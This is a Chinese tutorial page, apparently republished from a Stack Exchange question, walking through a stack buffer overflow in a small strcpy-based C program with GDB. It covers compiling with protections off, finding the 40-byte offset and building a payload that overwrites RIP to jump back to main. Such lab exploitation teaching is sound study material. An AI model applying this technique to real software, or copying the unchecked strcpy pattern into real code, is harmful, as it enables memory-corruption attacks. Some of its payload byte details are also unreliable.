You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何通过用户输入控制RIP寄存器?给定C程序,不知GDB调试入手点

栈溢出控制RIP寄存器实操(GDB调试步骤)

给定存在栈溢出漏洞的C程序:

#include <stdio.h>
#include <string.h>

#define VAR_SIZE 32

void output(int argc, char** argv) {
    char stack[VAR_SIZE];
    strcpy(stack, argv[1]);
    printf("%s\n", stack);
}

int main(int argc, char** argv) {
    output(argc, argv);
    return 0;
}

以下是用GDB实现控制RIP寄存器的完整步骤:

1. 编译漏洞程序

编译时关闭栈保护、开启可执行栈并保留调试信息:

gcc -fno-stack-protector -z execstack -g -o overflow overflow.c
  • -fno-stack-protector:禁用栈金丝雀保护,避免溢出被检测
  • -z execstack:标记栈为可执行,方便后续执行自定义shellcode(如果需要)
  • -g:生成调试符号,便于GDB查看变量和栈布局

2. 启动GDB并加载程序

gdb ./overflow

3. 定位栈溢出偏移量(关键)

我们需要确定输入字符串从stack数组起始到覆盖返回地址(RIP)的字节数:

  • 设置断点在output函数入口:b output
  • 运行程序并传入测试输入:r test
  • 程序触发断点后,查看当前栈帧信息:info frame
    你会看到栈基址(rbp)的位置,stack[32]数组位于rbp-32处,而返回地址存储在rbp+8(x86_64架构下,rbp占8字节,返回地址紧跟其后)
  • 计算偏移量:32(stack数组大小) + 8(rbp的长度) = 40字节
    即前40字节会填充stack数组和rbp,从第41字节开始的8字节会覆盖返回地址(RIP)

验证偏移量(可选)

如果不确定计算的偏移是否准确,用GDB的pattern工具验证:

  • 生成50字节的测试模式串:pattern create 50
  • 用该字符串运行程序:r '生成的模式串'
  • 程序崩溃后,查看RIP寄存器的值:info registers rip
  • 计算该值对应的偏移:pattern offset <rip的值>
    结果会显示偏移量为40,和之前的计算一致

4. 构造Payload控制RIP

构造的Payload格式为:[40个填充字符] + [8字节目标地址(小端序)]

  • 填充字符可以用任意值(比如全'A':python -c 'print("A"*40 + "\x00\x00\x00\x00\x00\x00\x00\x00")')
  • 目标地址可以是任意你想跳转的位置:
    • 比如跳回main函数,先查main的地址:p main,得到类似0x555555555155的地址
    • 把地址转成小端序字节:\x55\x51\x55\x55\x55\x55\x00\x00(注意x86_64是小端,地址字节倒序)
  • 运行带Payload的程序:r $(python -c 'print("A"*40 + "\x55\x51\x55\x55\x55\x55\x00\x00")')
  • 查看寄存器确认RIP被控制:info registers rip,会看到RIP的值已经变成你设置的目标地址

5. GDB常用调试命令

  • x/20gx $rbp-40:查看栈内存(从stack数组起始位置开始的20个8字节单元)
  • ni:单步执行(不进入函数)
  • si:单步执行(进入函数)
  • c:继续运行程序
  • info registers:查看所有寄存器的值

内容的提问来源于stack exchange,提问作者user12281035

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.13 16:25:21